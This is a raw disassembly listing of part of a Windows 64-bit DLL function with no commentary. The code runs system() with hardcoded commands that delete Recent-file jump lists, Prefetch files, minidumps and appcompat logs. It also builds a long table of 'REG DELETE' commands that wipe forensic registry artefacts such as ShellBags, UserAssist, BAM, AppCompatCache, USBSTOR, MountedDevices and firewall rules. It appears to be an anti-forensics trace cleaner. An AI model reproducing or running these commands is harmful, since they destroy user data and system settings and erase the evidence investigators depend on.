movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova rcx, qword [rbp + 0xf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x180032d1a
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032d15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032d15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x100], xmm6
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x180032d6d
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032d68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032d68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x200], xmm6
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x180032dba
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032db5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032db5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x180032dd3
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp - 0x30]
call fcn.180036d80
nop
mov r8, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x17
jb 0x180032e78
lea rax, [r8 + 0x17]
mov qword [rbp - 0x20], rax
lea r14, [rbp - 0x30]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x30]
lea rax, [0x1800a603f]
cmp rax, r14
jbe 0x180032e39
lea rax, [r14 + r8]
cmp rbx, rax
ja 0x180032e39
cmp r14, rbx
jbe 0x180032e3c
mov r13, r14
sub r13, rbx
jmp 0x180032e3c
mov r13, rsi
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, rbx
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, rsi
sub r8, r13
lea rdx, [r13 + 0x17]
add rdx, rbx
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x30]
xor r13d, r13d
jmp 0x180032e8e
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.18003cc10
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x62
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___va__f
lea rcx, [rbp + 0x210]
call fcn.18003aaa0
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova rcx, qword [rbp + 0x110]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x180032f7a
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032f75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032f75
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x120], xmm6
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x180032fcd
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032fc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032fc8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x220], xmm6
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x18003301a
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033015
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033015
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x180033033
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp - 0x10]
call fcn.180036d80
nop
mov r8, qword [rbp]
mov rcx, qword [rbp + 8]
mov rax, rcx
sub rax, r8
cmp rax, 0x17
jb 0x1800330d8
lea rax, [r8 + 0x17]
mov qword [rbp], rax
lea r14, [rbp - 0x10]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x10]
lea rax, [0x1800a603f]
cmp rax, r14
jbe 0x180033099
lea rax, [r14 + r8]
cmp rbx, rax
ja 0x180033099
cmp r14, rbx
jbe 0x18003309c
mov r13, r14
sub r13, rbx
jmp 0x18003309c
mov r13, rsi
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, rbx
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
sub rsi, r13
lea rdx, [r13 + 0x17]
add rdx, rbx
lea rcx, [r14 + r13]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x10]
xor r13d, r13d
jmp 0x1800330ee
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.18003cc10
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x230], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x240], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x44
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2___f
lea rcx, [rbp + 0x230]
call fcn.18003aaa0
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x140], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0xf
cmova rcx, qword [rbp + 0x130]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x1800331da
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800331d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800331d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x140], xmm6
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x18003322d
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033228
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033228
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x240], xmm6
mov byte [rbp + 0x230], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x18003327a
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180033275
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180033275
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x180033293
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp + 0x10]
call fcn.180036d80
nop
mov r8, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
sub rax, r8
cmp rax, 0x14
jb 0x18003333d
lea rax, [r8 + 0x14]
mov qword [rbp + 0x20], rax
lea rbx, [rbp + 0x10]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x10]
lea rax, [0x1800a6094]
cmp rax, rbx
jbe 0x1800332fe
lea rax, [rbx + r8]
cmp r15, rax
ja 0x1800332fe
cmp rbx, r15
ja 0x1800332f6
mov rsi, r13
jmp 0x180033301
mov rsi, rbx
sub rsi, r15
jmp 0x180033301
mov rsi, r12
inc r8
lea rcx, [rbx + 0x14]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub r12, rsi
lea rdx, [0x1800a6094]
add rdx, rsi
lea rcx, [rbx + rsi]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x10]
jmp 0x180033353
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rdx, r12
lea rcx, [rbp + 0x10]
call fcn.18003cc10
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x260], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x41
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2_
lea rcx, [rbp + 0x250]
call fcn.18003aaa0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rcx, qword [rbp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x180033424
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003341f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003341f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x60], xmm6
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x180033471
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003346c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003346c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
movdqu xmmword [rbp + 0x260], xmm6
mov byte [rbp + 0x250], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x1800334be
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800334b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800334b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d130
lea r8, str.APPDATA
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
mov rdx, qword [rbp + 0x270]
test rdx, rdx
jne 0x18003350d
lea rdx, str.Error_getting_AppData_folder_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b320
lea rdx, [0x18003b500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1800341d4
lea rcx, [rbp + 0x2c0]
call fcn.180036d40
nop
mov rcx, qword [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea r8, [rbp + 0x2c0]
lea rcx, [rbp + 0x30]
call fcn.18003b540
nop
lea r8, str.MicrosoftWindowsRecent.
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.18003b2b0
mov rcx, rax
call fcn.18003a060
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x150]
call fcn.18003a100
nop
lea rcx, [rbp + 0x30]
call fcn.18003a100
lea r8, [rbp + 0x2c0]
lea rcx, [rbp + 0x30]
call fcn.18003b540
nop
lea r8, str.MicrosoftWindowsRecentCustomDestinations.
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.18003b2b0
mov rcx, rax
call fcn.18003a060
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x150]
call fcn.18003a100
nop
lea rcx, [rbp + 0x30]
call fcn.18003a100
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rdx, qword [rbp + 0x2d0]
sub rax, rdx
cmp rax, 0xa
jb 0x1800342a0
lea r13, [rbp + 0x2c0]
mov r14, qword [rbp + 0x2c0]
mov r15, qword [rbp + 0x2d8]
cmp r15, 0xf
cmova r13, r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea r12, [rdx + 0xa]
mov ebx, 0xf
lea rsi, [rbp + 0x30]
cmp r12, rbx
jbe 0x1800336a9
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x18003365e
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.18003d780
test rax, rax
je 0x18003368f
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x18003369e
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x180033677
xor esi, esi
jmp 0x1800336a5
cmp rcx, 0x1000
jb 0x180033696
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800342a6
jmp 0x180033643
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d780
mov rsi, rax
mov rdx, qword [rbp + 0x2d0]
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], rbx
movsd xmm0, qword [str.DEL__f__q]
movsd qword [rsi], xmm0
movzx ecx, word [0x1800a6310]
mov word [rsi + 8], cx
lea rcx, [rsi + 0xa]
mov r8, rdx
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r12], 0
mov r8d, 0x33
lea rdx, str.MicrosoftWindowsRecentAutomaticDestinations.
lea rcx, [rbp + 0x30]
call fcn.18003aaa0
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x160], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x150]
call fcn.18003a060
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x150]
call fcn.18003a100
nop
lea rcx, [rbp + 0x30]
call fcn.18003a100
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatPrograms.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot__appcompatProgramsInstall.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.pf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.ini
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.7db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.ebd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.bin
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Prefetch.db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_PrefetchReadyBoot.fx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.DEL__f__q__systemroot_Minidump.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARESiticone___f
mov qword [rbp + 0x310], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARENuGet___f
mov qword [rbp + 0x318], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist___f
mov qword [rbp + 0x320], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREWinRARArcHistory___f
mov qword [rbp + 0x328], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREWinRARDialogEditHistory___f
mov qword [rbp + 0x330], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARE7_Zip___f
mov qword [rbp + 0x338], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___f
mov qword [rbp + 0x340], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesAppX69r31t6nmawqr1gdamcsndphj2v4a6cx___f
mov qword [rbp + 0x348], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts___f
mov qword [rbp + 0x350], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageAppSwitched___f
mov qword [rbp + 0x358], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
mov qword [rbp + 0x360], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList___f
mov qword [rbp + 0x368], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFeatureUsageShowJumpView___f
mov qword [rbp + 0x370], rax
lea rax, str.REG_DELETE__HKEY_CLASSES_ROOTLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___f
mov qword [rbp + 0x378], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs___f
mov qword [rbp + 0x380], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerTypedPaths___f
mov qword [rbp + 0x388], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyFirewallRules___f
mov qword [rbp + 0x390], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTO___f
mov qword [rbp + 0x398], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShell___f
mov qword [rbp + 0x3a0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftFTH___f
mov qword [rbp + 0x3a8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWARECloudflare___f
mov qword [rbp + 0x3b0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NT___f
mov qword [rbp + 0x3b8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftNotepad___f
mov qword [rbp + 0x3c0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWARERegisteredApplications___f
mov qword [rbp + 0x3c8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayer___f
mov qword [rbp + 0x3d0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamStateUserSettings___f
mov qword [rbp + 0x3d8], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMMountedDevices___f
mov qword [rbp + 0x3e0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy___f
mov qword [rbp + 0x3e8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder___f
mov qword [rbp + 0x3f0], rax
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32CIDSizeMRU___f
mov qword [rbp + 0x3f8], rcx
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU___f
mov qword [rbp + 0x400], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags___f
mov qword [rbp + 0x408], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU___f
mov qword [rbp + 0x410], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBags___f
mov qword [rbp + 0x418], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsShellBagMRU___f
mov qword [rbp + 0x420], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache___f
mov qword [rbp + 0x428], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache___f
mov qword [rbp + 0x430], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftDirectInput___f
mov qword [rbp + 0x438], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionAppletsRegedit___f
mov qword [rbp + 0x440], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___f
mov qword [rbp + 0x448], rax
lea rax, str.REG_DELETE__HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore___f
mov qword [rbp + 0x450], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USEREnvironment___f
mov qword [rbp + 0x458], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerMemory_ManagementPrefetchParameters___f
mov qword [rbp + 0x460], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall___f
mov qword [rbp + 0x468], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftInternet_ExplorerLowRegistryAudioPolicyConfigPropertyStore___f
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x478], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet___f
mov qword [rbp + 0x480], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand_Processor___f
mov qword [rbp + 0x488], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_SearchVolumeInfoCache___f
mov qword [rbp + 0x490], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumUSBSTOR___f
mov qword [rbp + 0x498], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftTracing___f
mov qword [rbp + 0x4a0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___f
mov qword [rbp + 0x4a8], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU___f
mov qword [rbp + 0x4b0], rax
lea rax, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU___f
mov qword [rbp + 0x4b8], rax
lea rax, str.REG_DELETE__HKU_usersid_SOFTWAREMicrosoftWindowsCurrentVersionExplorerUserAssistCEBFF5CD_ACE2_4F4F_9178_9926F41749EACount___f
mov qword [rbp + 0x4c0], rax
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications___f
mov qword [rbp + 0x4c8], rax
lea rdx, str.REG_DELETE__HKEY_USERS_usersid_SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps___f
mov qword [rbp + 0x4d0], rdx
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_usersid____f
mov qword [rbp + 0x4d8], rcx
